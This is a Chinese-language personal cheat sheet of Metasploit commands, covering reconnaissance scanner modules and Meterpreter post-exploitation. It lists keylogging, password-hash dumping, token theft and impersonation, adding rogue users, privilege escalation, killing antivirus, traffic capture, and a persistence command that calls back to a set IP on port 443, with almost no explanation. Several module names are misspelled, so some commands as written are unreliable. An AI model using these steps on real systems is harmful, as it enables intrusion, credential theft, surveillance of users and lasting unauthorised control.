Metasploit
程序猿笔记
metasploit
1. 主动信息收集
tcp idle scan:
use auxiliary/scanner/ip/ipidseq
扫描规律性增长ipid 配合nmap使用nmap -PN -sI
smb_version scan 用于发现操作系统信息
scanner/smb/smb_version- mssql 扫描
use scanner/mssql/mssql_ping - ssh 扫描
use scanner/ssh/ssh_version - ftp
scanner/ftp/anonymous
- snmp
scanner/snmp/snmp_login
2. 漏洞扫描
- smb_login:
use auxiliary/scanner/smb/smb_login
- vnc 扫描
use auxiliary/scannery/vnc/vnc_none_auth
3. Meterperter
- 截屏
screenshot
- 系统信息
sysinfo
- 键盘记录:
- mirgate 到 explorer.exe进程
run post/windows/capture/keylog_recorder
- dump hash:
use priv
run post/windows/gather/hashdump token 窃取
use incognito
list_tokens -u
impersonate_token
- 添加用户:
add_user
-h - 添加用户到组
add_group_user
-h
- mirgate 到 explorer.exe进程
权限提升:
use priv
getsystem
- vnc:
run vnc
- migrate:
run post/windows/manage/migrate
- kill av:
run killav
- view traffic:
run packetrecorder -i 1
- 搜集系统信息:
run scraper
- 持续化攻击:
run persistence -X -i 50 -p 443 -r 192.168.33.129
- win api 操作:
irb
client.railgun.user32.MessgeBoxA()